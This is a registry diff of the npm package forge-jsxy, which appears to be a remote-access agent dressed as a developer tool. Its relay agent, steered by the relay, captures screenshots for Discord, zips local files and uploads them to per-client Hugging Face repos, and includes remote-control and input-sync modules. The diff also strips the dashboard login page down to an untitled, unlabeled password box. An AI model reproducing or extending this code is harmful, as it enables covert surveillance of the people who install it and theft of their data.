forge-jsxy 1.0.76 → 1.0.78

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (43) hide show
  1. package/assets/codicons/codicon.css +629 -0
  2. package/assets/codicons/codicon.ttf +0 -0
  3. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  4. package/assets/explorer-highlight/highlight.min.js +1213 -0
  5. package/assets/files-explorer-template.html +2940 -692
  6. package/assets/remote-control-template.html +78 -22
  7. package/dist/agentRunner.js +6 -0
  8. package/dist/assets/codicons/codicon.css +629 -0
  9. package/dist/assets/codicons/codicon.ttf +0 -0
  10. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  11. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  12. package/dist/assets/files-explorer-template.html +2941 -693
  13. package/dist/assets/remote-control-template.html +78 -22
  14. package/dist/autostart/agentEnvFile.d.ts +3 -2
  15. package/dist/autostart/agentEnvFile.js +8 -4
  16. package/dist/cli-agent.js +3 -3
  17. package/dist/discordAgentScreenshot.d.ts +1 -1
  18. package/dist/discordAgentScreenshot.js +41 -16
  19. package/dist/discordRateLimit.js +22 -11
  20. package/dist/discordRelayUpload.js +5 -3
  21. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  22. package/dist/explorerHeavyDirSkips.js +26 -0
  23. package/dist/exportMirrorCopy.d.ts +13 -1
  24. package/dist/exportMirrorCopy.js +89 -2
  25. package/dist/filesExplorer.d.ts +9 -0
  26. package/dist/filesExplorer.js +86 -4
  27. package/dist/fsMessages.d.ts +2 -0
  28. package/dist/fsMessages.js +29 -8
  29. package/dist/fsProtocol.d.ts +16 -4
  30. package/dist/fsProtocol.js +948 -151
  31. package/dist/hfCredentials.d.ts +1 -1
  32. package/dist/hfCredentials.js +1 -1
  33. package/dist/hfSeqIdLookup.d.ts +2 -2
  34. package/dist/hfSeqIdLookup.js +11 -5
  35. package/dist/hfUpload.d.ts +2 -2
  36. package/dist/hfUpload.js +103 -17
  37. package/dist/relayAgent.js +48 -26
  38. package/dist/relayDashboardGate.js +42 -55
  39. package/dist/relayServer.js +171 -6
  40. package/dist/syncClient.js +5 -0
  41. package/dist/windowsInputSync.js +20 -1
  42. package/package.json +3 -1
  43. package/scripts/discord-live-probe.mjs +66 -4
@@ -1,7 +1,7 @@
1
1
  export interface HfCredentials {
2
2
  token: string;
3
3
  hubUrl: string;
4
- /** Hub namespace (username or org) for automatic `namespace/client_<db>` repositories. */
4
+ /** Hub namespace (username or org) for automatic `namespace/<seq_id>` session repositories. */
5
5
  namespace?: string;
6
6
  }
7
7
  /** Clear relay-delivered HF fields in memory after an upload (JS cannot overwrite string contents). */
@@ -19,7 +19,7 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
19
19
  * Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** to base64(iv12 || tag16 || ciphertext) where
20
20
  * plaintext UTF-8 JSON is:
21
21
  * `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
22
- * (`hubUrl` optional; `namespace` = Hugging Face username or org for `namespace/client_*` auto repos).
22
+ * (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
23
23
  *
24
24
  * Optional dev escape hatch (not for production): `CFGMGR_HF_ALLOW_PLAINTEXT=1` with
25
25
  * `HUGGINGFACE_HUB_TOKEN` and optional `HUGGINGFACE_HUB_URL`.
@@ -3,10 +3,10 @@
3
3
  * Matches `table_name` / `session_id` (case-insensitive), or derives the table name from `client_id`.
4
4
  */
5
5
  export declare function clientRegistryRowMatchesSessionTable(row: Record<string, unknown>, clientTableName: string): boolean;
6
- /** Default true: session Hub repos must use `client_<seq_id>`. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
6
+ /** Default true: session Hub repos must use numeric `<seq_id>` slug. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
7
7
  export declare function hfSessionRepoRequireSeqId(): boolean;
8
8
  /**
9
- * Hub repo name segment for auto-session uploads: `client_<n>` when `seq_id` is known,
9
+ * Hub repo name segment for auto-session uploads: decimal **`seq_id`** string when known,
10
10
  * otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
11
11
  */
12
12
  export declare function hfAutoSessionRepoSlug(clientTableName: string, seqId: number | null | undefined): string;
@@ -6,11 +6,11 @@ exports.hfAutoSessionRepoSlug = hfAutoSessionRepoSlug;
6
6
  exports.fetchSeqIdForClientTableName = fetchSeqIdForClientTableName;
7
7
  /**
8
8
  * Resolve forge-db `seq_id` for a `client_*` table name so Hugging Face session repos use
9
- * `namespace/client_<seq_id>` (aligned with Discord channel naming in `discordRelayUpload.ts`).
9
+ * `namespace/<seq_id>` (numeric repo segment under your Hub namespace).
10
10
  *
11
11
  * Uses `GET /api/clients` (same source as relay screenshot channel naming).
12
12
  *
13
- * **Default:** Hub repo segment is **`client_<seq_id>`** — uploads fail if `seq_id` cannot be resolved.
13
+ * **Default:** Hub repo segment is **`<seq_id>`** (digits only) — uploads fail if `seq_id` cannot be resolved.
14
14
  * Set **`CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1`** on the agent to fall back to the legacy
15
15
  * UUID-style Postgres slug ({@link postgresqlClientTableName}) when the API is unreachable or the client is unregistered.
16
16
  */
@@ -44,7 +44,7 @@ function clientRegistryRowMatchesSessionTable(row, clientTableName) {
44
44
  }
45
45
  return false;
46
46
  }
47
- /** Default true: session Hub repos must use `client_<seq_id>`. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
47
+ /** Default true: session Hub repos must use numeric `<seq_id>` slug. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
48
48
  function hfSessionRepoRequireSeqId() {
49
49
  const allowLegacy = (process.env.CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG || "").trim().toLowerCase();
50
50
  if (allowLegacy === "1" ||
@@ -70,7 +70,7 @@ function apiKeyHeader() {
70
70
  return apiKey ? { "X-Forge-Api-Key": apiKey } : {};
71
71
  }
72
72
  /**
73
- * Hub repo name segment for auto-session uploads: `client_<n>` when `seq_id` is known,
73
+ * Hub repo name segment for auto-session uploads: decimal **`seq_id`** string when known,
74
74
  * otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
75
75
  */
76
76
  function hfAutoSessionRepoSlug(clientTableName, seqId) {
@@ -80,7 +80,7 @@ function hfAutoSessionRepoSlug(clientTableName, seqId) {
80
80
  Number.isFinite(Number(seqId)) &&
81
81
  Number(seqId) >= 0) {
82
82
  const n = Math.floor(Number(seqId));
83
- return `client_${n}`.slice(0, 96);
83
+ return String(n).slice(0, 96);
84
84
  }
85
85
  return (0, tableNaming_1.postgresqlClientTableName)(ct, null).slice(0, 96);
86
86
  }
@@ -91,6 +91,12 @@ async function fetchSeqIdForClientTableName(clientTableName) {
91
91
  const ct = (clientTableName || "").trim();
92
92
  if (!ct)
93
93
  return null;
94
+ const pureDigits = /^(\d+)$/.exec(ct);
95
+ if (pureDigits) {
96
+ const n = Number(pureDigits[1]);
97
+ if (Number.isFinite(n) && n >= 0)
98
+ return Math.floor(n);
99
+ }
94
100
  const directClientSeq = /^client_(\d+)$/i.exec(ct);
95
101
  if (directClientSeq) {
96
102
  const n = Number(directClientSeq[1]);
@@ -23,13 +23,13 @@ export interface RunHfUploadOptions {
23
23
  /** `zip` (default): one .zip with store-only compression; `tree`: one Hub file per disk file. Ignored in session mode (always zip for single-blob semantics). */
24
24
  folderMode?: "zip" | "tree";
25
25
  /**
26
- * When true: repo = `namespace/client_<seq_id>` when forge-db exposes `seq_id` for this session, else legacy table slug.
26
+ * When true: repo = `namespace/<seq_id>` when forge-db exposes `seq_id` for this session, else legacy table slug.
27
27
  * First upload creates the repo; later uploads append new files only.
28
28
  */
29
29
  autoSessionRepo?: boolean;
30
30
  /** Session / DB table id (e.g. `client_<uuid>`) — required if `autoSessionRepo`. */
31
31
  clientTableName?: string;
32
- /** When set, skips forge-db lookup and uses this `seq_id` for the Hub repo segment `client_<seq_id>`. */
32
+ /** When set, skips forge-db lookup and uses this `seq_id` for the Hub repo segment `<seq_id>` (digits only). */
33
33
  clientSeqId?: number;
34
34
  /** Override HF username/org (else encrypted credentials or `CFGMGR_HF_NAMESPACE`). */
35
35
  hfNamespace?: string;
package/dist/hfUpload.js CHANGED
@@ -45,9 +45,9 @@ exports.runHfUpload = runHfUpload;
45
45
  * remove staging) before compression or per-file upload so locked live paths are less likely to fail.
46
46
  * Files and folders are packed as one zip "store" only (zlib level 0) per selection to minimize CPU before upload.
47
47
  *
48
- * Session mode (`autoSessionRepo`): Hub repo = `namespace/client_<seq_id>` (forge-db `GET /api/clients`). By default
49
- * `seq_id` is **required**; set `CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1` to fall back to the UUID-style table slug
50
- * if `seq_id` is unknown. First upload creates the repo; later uploads append under `exports/<timestamp>_<rand>/` (never replaces).
48
+ * Session mode (`autoSessionRepo`): Hub repo id segment is **`seq_id` alone** (e.g. `namespace/42`),
49
+ * resolved via forge-db `GET /api/clients`. By default `seq_id` is **required**; set `CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1`
50
+ * to fall back to the UUID-style Postgres table slug when `seq_id` is unknown.
51
51
  * Manual mode with `createRepo`: new repos are also created **private** so Hub exports are not world-visible by default.
52
52
  *
53
53
  * Upload body: `hubContentFromLocalPath` yields a `Blob` or, for files above the streaming threshold, a `file:`
@@ -68,6 +68,7 @@ const node_fs_1 = require("node:fs");
68
68
  const fs = __importStar(require("node:fs"));
69
69
  const path = __importStar(require("node:path"));
70
70
  const os = __importStar(require("node:os"));
71
+ const zlib = __importStar(require("node:zlib"));
71
72
  const node_url_1 = require("node:url");
72
73
  const promises_1 = require("node:stream/promises");
73
74
  const hub_1 = require("@huggingface/hub");
@@ -80,6 +81,7 @@ const fsProtocol_1 = require("./fsProtocol");
80
81
  const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
81
82
  const hfHubPathSanitize_1 = require("./hfHubPathSanitize");
82
83
  const hfHubUploadContent_1 = require("./hfHubUploadContent");
84
+ const explorerHeavyDirSkips_1 = require("./explorerHeavyDirSkips");
83
85
  function maxZipFilesLimit() {
84
86
  const raw = (process.env.CFGMGR_FS_MAX_ZIP_FILES || "").trim();
85
87
  if (raw) {
@@ -272,11 +274,84 @@ function wrapFetchWithMinInterval(inner, minMs) {
272
274
  const gap = Math.max(0, minMs - (Date.now() - lastEnd));
273
275
  if (gap > 0)
274
276
  await new Promise((r) => setTimeout(r, gap));
275
- const res = await inner(input, init);
276
- lastEnd = Date.now();
277
- return res;
277
+ try {
278
+ const res = await inner(input, init);
279
+ lastEnd = Date.now();
280
+ return res;
281
+ }
282
+ catch (e) {
283
+ lastEnd = Date.now();
284
+ throw e;
285
+ }
286
+ };
287
+ }
288
+ /**
289
+ * S3 multipart UploadPart PUT requests now include `x-amz-sdk-checksum-algorithm=CRC32` (and a
290
+ * placeholder `x-amz-checksum-crc32=AAAAAA==`) in the pre-signed URL, meaning S3 requires the
291
+ * client to send the actual CRC32 of each part as the `x-amz-checksum-crc32` request header.
292
+ * @huggingface/hub ≤ 2.11.x does not compute or send this header, causing HTTP 400 from S3.
293
+ * This wrapper detects S3 PUT requests that require CRC32 and injects the correct header.
294
+ * Falls back gracefully when the body type is not readable (e.g. a stream).
295
+ */
296
+ function wrapFetchWithS3Crc32Header(inner) {
297
+ return async (input, init) => {
298
+ try {
299
+ if (init?.method === "PUT" || (init == null && (typeof input === "object") && !("url" in input))) {
300
+ const url = typeof input === "string" ? input
301
+ : input instanceof URL ? input.href
302
+ : input.url;
303
+ if (/[?&]x-amz-sdk-checksum-algorithm=CRC32(&|$)/i.test(url)) {
304
+ const body = (init ?? input)?.body ?? (init?.body);
305
+ let bytes;
306
+ if (body instanceof Uint8Array) {
307
+ bytes = body;
308
+ }
309
+ else if (body instanceof ArrayBuffer) {
310
+ bytes = new Uint8Array(body);
311
+ }
312
+ else if (typeof Blob !== "undefined" && body instanceof Blob) {
313
+ bytes = new Uint8Array(await body.arrayBuffer());
314
+ }
315
+ if (bytes !== undefined) {
316
+ const crcVal = computeCrc32(bytes);
317
+ const crcB64 = Buffer.from([
318
+ (crcVal >>> 24) & 0xff,
319
+ (crcVal >>> 16) & 0xff,
320
+ (crcVal >>> 8) & 0xff,
321
+ crcVal & 0xff,
322
+ ]).toString("base64");
323
+ const headers = new Headers((init?.headers ?? input?.headers));
324
+ headers.set("x-amz-checksum-crc32", crcB64);
325
+ return inner(input, { ...(init ?? {}), method: "PUT", headers, body: bytes });
326
+ }
327
+ }
328
+ }
329
+ }
330
+ catch {
331
+ /* fall through to normal fetch on any error */
332
+ }
333
+ return inner(input, init);
278
334
  };
279
335
  }
336
+ /**
337
+ * CRC32 using Node's built-in `zlib.crc32` (available since v20.15 / v22.2).
338
+ * Falls back to a pure-JS implementation for older Node 18 agents.
339
+ */
340
+ function computeCrc32(data) {
341
+ const zlibCrc32 = zlib.crc32;
342
+ if (typeof zlibCrc32 === "function") {
343
+ return zlibCrc32(data) >>> 0;
344
+ }
345
+ // Pure-JS fallback (standard CRC32 / IEEE 802.3 polynomial).
346
+ let crc = 0xffffffff;
347
+ for (let i = 0; i < data.length; i++) {
348
+ crc ^= data[i];
349
+ for (let j = 0; j < 8; j++) {
350
+ crc = crc & 1 ? (crc >>> 1) ^ 0xedb88320 : crc >>> 1;
351
+ }
352
+ }
353
+ return (crc ^ 0xffffffff) >>> 0;
354
+ }
280
355
  /** Custom `fetch` for Hub: optional spacing + retries on thrown network errors (defaults on). */
281
356
  function buildHubFetch() {
282
357
  const minMs = hubMinFetchIntervalMs();
@@ -286,8 +361,8 @@ function buildHubFetch() {
286
361
  inner = wrapFetchWithThrowRetries(inner, maxThrow);
287
362
  if (minMs !== undefined)
288
363
  inner = wrapFetchWithMinInterval(inner, minMs);
289
- if (minMs === undefined && maxThrow === 0)
290
- return undefined;
364
+ // Always inject S3 CRC32 header for multipart LFS uploads that require checksum validation.
365
+ inner = wrapFetchWithS3Crc32Header(inner);
291
366
  return inner;
292
367
  }
293
368
  /** Max full Hub commit attempts (file or batch) on transient API / wire failure. Default 4. `0` / `1` = single try. */
@@ -593,6 +668,9 @@ function countFilesRecursive(dir, maxFiles) {
593
668
  continue;
594
669
  }
595
670
  if (ent.isDirectory()) {
671
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name)) {
672
+ continue;
673
+ }
596
674
  walk(child);
597
675
  }
598
676
  else if (ent.isFile()) {
@@ -612,6 +690,13 @@ async function writeSingleFileZipStoreOnly(sourceFile, zipPath) {
612
690
  const output = (0, node_fs_1.createWriteStream)(zipPath);
613
691
  const archive = (0, archiver_1.default)("zip", { zlib: { level: 0 } });
614
692
  const fail = (err) => {
693
+ // Abort archiver first to stop further file processing, then destroy the write stream.
694
+ try {
695
+ archive.abort();
696
+ }
697
+ catch {
698
+ /* skip */
699
+ }
615
700
  try {
616
701
  output.destroy(err);
617
702
  }
@@ -643,6 +728,13 @@ async function writeDirectoryZipStoreOnly(sourceDir, zipPath) {
643
728
  const output = (0, node_fs_1.createWriteStream)(zipPath);
644
729
  const archive = (0, archiver_1.default)("zip", { zlib: { level: 0 } });
645
730
  const fail = (err) => {
731
+ // Abort archiver first to stop further file processing, then destroy the write stream.
732
+ try {
733
+ archive.abort();
734
+ }
735
+ catch {
736
+ /* skip */
737
+ }
646
738
  try {
647
739
  output.destroy(err);
648
740
  }
@@ -654,13 +746,6 @@ async function writeDirectoryZipStoreOnly(sourceDir, zipPath) {
654
746
  output.on("error", fail);
655
747
  archive.pipe(output);
656
748
  const baseName = path.basename(sourceDir) || "folder";
657
- let entries = 0;
658
- archive.on("entry", () => {
659
- entries++;
660
- if (entries % 400 === 0) {
661
- void yieldEventLoop();
662
- }
663
- });
664
749
  archive.directory(sourceDir, baseName);
665
750
  try {
666
751
  await archive.finalize();
@@ -810,7 +895,7 @@ async function runHfUploadCore(opts) {
810
895
  (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
811
896
  return {
812
897
  ok: false,
813
- error: "Session Hub repo requires forge-db seq_id (Hub name: namespace/client_<seq_id>). " +
898
+ error: "Session Hub repo requires forge-db seq_id (Hub repo: `<namespace>/<seq_id>`). " +
814
899
  "Could not resolve seq_id for this client_table. Set RELAY_FORGE_DB_API_URL / FORGE_JS_SYNC_URL / " +
815
900
  "CFGMGR_API_URL and RELAY_FORGE_DB_API_KEY / FORGE_DB_API_KEY so GET /api/clients succeeds, " +
816
901
  "ensure this machine is registered in _client_registry, or pass client_seq_id on fs_hf_upload. " +
@@ -832,7 +917,8 @@ async function runHfUploadCore(opts) {
832
917
  folderMode = opts.folderMode === "tree" ? "tree" : "zip";
833
918
  }
834
919
  const repo = parseRepoId(resolvedRepoStr);
835
- const destPrefix = normalizeDestPrefix(opts.destination ?? "");
920
+ // sanitizeHubRelativePath strips ".." / "." path segments to prevent path traversal within the repo.
921
+ const destPrefix = normalizeDestPrefix((0, hfHubPathSanitize_1.sanitizeHubRelativePath)(opts.destination ?? ""));
836
922
  const exportBase = joinRemotePath(destPrefix, newExportRunFolder());
837
923
  const delayMs = interFileDelayMs();
838
924
  const sendProgress = (p) => {
@@ -384,33 +384,49 @@ function runRelayAgentLoop(opts) {
384
384
  if (rf && typeof rf === "object" && !Array.isArray(rf)) {
385
385
  caps = rf;
386
386
  if (caps.discord_screenshot === true) {
387
- const cur = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim();
388
- if (!cur) {
387
+ const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
388
+ const explicitOff = ["0", "false", "no", "off"].includes(en);
389
+ const explicitOn = ["1", "true", "yes", "on"].includes(en);
390
+ /** Follow relay when unset or explicitly on; never override explicit opt-out (0/false/no/off). */
391
+ if (!explicitOff && (!en || explicitOn)) {
389
392
  discordEnabledByRelayHandshake = true;
390
393
  }
391
- const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
392
- /**
393
- * Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
394
- * `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
395
- * per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
396
- * multi-minute gaps.
397
- */
398
- const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
399
- if (clamped != null && !agentIv) {
400
- process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
401
- }
402
- const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
403
- if (!agentSg) {
404
- const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
405
- if (sg != null) {
406
- process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
394
+ if (!explicitOff) {
395
+ const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
396
+ /**
397
+ * Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
398
+ * `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
399
+ * per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
400
+ * multi-minute gaps.
401
+ */
402
+ const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
403
+ if (clamped != null && !agentIv) {
404
+ process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
407
405
  }
408
- }
409
- const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
410
- if (!agentFsg) {
411
- const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
412
- if (fg != null) {
413
- process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
406
+ const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
407
+ if (!agentSg) {
408
+ const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
409
+ if (sg != null) {
410
+ process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
411
+ }
412
+ }
413
+ const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
414
+ if (!agentFsg) {
415
+ const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
416
+ if (fg != null) {
417
+ process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
418
+ }
419
+ }
420
+ const agentUm = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim();
421
+ if (!agentUm) {
422
+ const rawUm = caps.discord_screenshot_upload_mode;
423
+ const u = typeof rawUm === "string" ? rawUm.trim().toLowerCase() : "";
424
+ if (u === "relay") {
425
+ process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "relay";
426
+ }
427
+ else if (u === "webhook" || u === "direct") {
428
+ process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "webhook";
429
+ }
414
430
  }
415
431
  }
416
432
  }
@@ -426,6 +442,12 @@ function runRelayAgentLoop(opts) {
426
442
  };
427
443
  ws.on("open", () => {
428
444
  log(quiet, " Connected to relay");
445
+ try {
446
+ (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
447
+ }
448
+ catch {
449
+ /* skip */
450
+ }
429
451
  viewerAuthenticated = !password;
430
452
  viewerConnected = false;
431
453
  pendingAuthNonce = "";
@@ -732,8 +754,8 @@ function runRelayAgentLoop(opts) {
732
754
  const destination = String(msg.destination ?? "").trim();
733
755
  const createRepo = Boolean(msg.create_repo);
734
756
  const folderMode = msg.folder_mode === "tree" ? "tree" : "zip";
735
- const hfForce = Boolean(msg.force);
736
- const hfForceKill = Boolean(msg.force_kill);
757
+ const hfForce = (0, fsMessages_1.jsonBoolLoose)(msg.force);
758
+ const hfForceKill = (0, fsMessages_1.jsonBoolLoose)(msg.force_kill);
737
759
  if (hfFetchFromRelayEnabled()) {
738
760
  try {
739
761
  hfCred = await fetchHfCredentialsFromRelay(sendJson);
@@ -173,9 +173,9 @@ function buildDashboardGateLoginHtml() {
173
173
  <head>
174
174
  <meta charset="UTF-8">
175
175
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
176
- <meta name="theme-color" content="#181818">
176
+ <meta name="theme-color" content="#161616">
177
177
  <meta http-equiv="Cache-Control" content="no-store"/>
178
- <title>Relay access</title>
178
+ <title>&#8203;</title>
179
179
  <link rel="icon" href="/forge-explorer-favicon.svg" type="image/svg+xml"/>
180
180
  <style>
181
181
  html { color-scheme: dark; }
@@ -183,90 +183,77 @@ function buildDashboardGateLoginHtml() {
183
183
  body {
184
184
  margin: 0;
185
185
  min-height: 100vh;
186
+ min-height: 100dvh;
186
187
  display: flex;
188
+ flex-direction: column;
187
189
  align-items: center;
188
190
  justify-content: center;
189
- font-family: system-ui, -apple-system, Segoe UI, Roboto, "Helvetica Neue", sans-serif;
190
- background: #1f1f1f;
191
- color: #cccccc;
191
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe WPC", "Segoe UI", "Helvetica Neue", Helvetica, Ubuntu, "Droid Sans", sans-serif;
192
+ background: #161616;
192
193
  -webkit-font-smoothing: antialiased;
194
+ padding: 0.75rem;
193
195
  }
194
196
  .card {
195
197
  width: 100%;
196
- max-width: 20rem;
197
- padding: 1.25rem 1.5rem 1.5rem;
198
- border: 1px solid #3c3c3c;
199
- border-radius: 8px;
200
- background: #252526;
198
+ max-width: 17.5rem;
199
+ display: flex;
200
+ flex-direction: column;
201
+ padding: 0.85rem;
202
+ border: 1px solid #2b2b2b;
203
+ border-radius: 6px;
204
+ background: #1c1c1c;
205
+ box-shadow: none;
201
206
  }
202
- h1 {
203
- margin: 0 0 0.35rem;
204
- font-size: 1.05rem;
205
- font-weight: 600;
206
- color: #e0e0e0;
207
+ .card.gate-err {
208
+ border-color: rgba(200, 90, 75, 0.65);
207
209
  }
208
- p { margin: 0 0 0.9rem; font-size: 12.5px; line-height: 1.4; color: #9d9d9d; }
209
- label { display: block; font-size: 11.5px; color: #9d9d9d; margin-bottom: 0.3rem; }
210
- input {
211
- width: 100%;
212
- background: #313131;
213
- border: 1px solid #3c3c3c;
214
- color: #cccccc;
215
- padding: 0.4rem 0.65rem;
216
- border-radius: 4px;
217
- font-size: 13px;
218
- margin-bottom: 0.75rem;
210
+ .gate-form {
211
+ margin: 0;
219
212
  }
220
- input:hover { border-color: #505050; }
221
- input:focus-visible { outline: 2px solid #0078d4; border-color: #0078d4; }
222
- button {
213
+ input#p {
223
214
  width: 100%;
224
- background: #0078d4;
225
- color: #fff;
226
- border: 1px solid transparent;
227
- padding: 0.5rem 0.75rem;
215
+ background: #222222;
216
+ border: 1px solid #2b2b2b;
217
+ color: #e0e0e0;
218
+ padding: 0.55rem 0.5rem;
228
219
  border-radius: 4px;
229
220
  font-size: 13px;
230
- font-weight: 500;
231
- cursor: pointer;
221
+ outline: none;
222
+ }
223
+ input#p:hover { border-color: #3d3d3d; }
224
+ input#p:focus-visible {
225
+ outline: 1px solid #4d4d4d;
226
+ outline-offset: 0;
227
+ border-color: #3d3d3d;
228
+ box-shadow: none;
232
229
  }
233
- button:hover { background: #026ec1; }
234
- button:disabled { opacity: 0.5; cursor: not-allowed; }
235
- .err { color: #f48771; font-size: 12px; margin: 0 0 0.6rem; min-height: 1.2em; }
236
- .hint { font-size: 10.5px; color: #7a7a7a; margin-top: 0.9rem; line-height: 1.35; }
237
230
  </style>
238
231
  </head>
239
232
  <body>
240
- <div class="card" role="dialog" aria-labelledby="gtitle">
241
- <h1 id="gtitle">Relay file explorer</h1>
242
- <p>Enter the operator password to open the forge-explorer (session connect UI).</p>
243
- <p class="err" id="e"></p>
244
- <form id="f" autocomplete="off">
245
- <label for="p">Password</label>
233
+ <div class="card" role="dialog" aria-modal="true">
234
+ <form id="f" class="gate-form" autocomplete="off">
246
235
  <input id="p" type="password" name="password" autocomplete="current-password" required autofocus/>
247
- <button type="submit" id="go">Unlock</button>
248
236
  </form>
249
- <p class="hint">The server stores only a SHA-256 of this password in the environment, not the plaintext. Use HTTPS in production.</p>
250
237
  </div>
251
238
  <script>
252
239
  (function(){
253
240
  var f = document.getElementById('f');
254
- var e = document.getElementById('e');
241
+ var card = f && f.closest('.card');
255
242
  var p = document.getElementById('p');
256
- var go = document.getElementById('go');
243
+ var busy = false;
257
244
  f.addEventListener('submit', function(ev){
258
245
  ev.preventDefault();
259
- e.textContent = '';
260
- go.disabled = true;
246
+ if (busy) return;
247
+ busy = true;
248
+ if (card) card.classList.remove('gate-err');
261
249
  var text = p.value;
262
250
  fetch('/api/relay-dashboard-auth', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ password: text }) })
263
251
  .then(function(r){
264
252
  if (r.status === 204) { window.location.replace((window.location.pathname || '/') + (window.location.search || '')); return; }
265
- if (r.status === 401) { e.textContent = 'Invalid password.'; return; }
266
- e.textContent = 'Unexpected response (' + r.status + ').';
253
+ if (card) card.classList.add('gate-err');
267
254
  })
268
- .catch(function(){ e.textContent = 'Network error.'; })
269
- .then(function(){ go.disabled = false; });
255
+ .catch(function(){ if (card) card.classList.add('gate-err'); })
256
+ .then(function(){ busy = false; });
270
257
  });
271
258
  })();
272
259
  </script>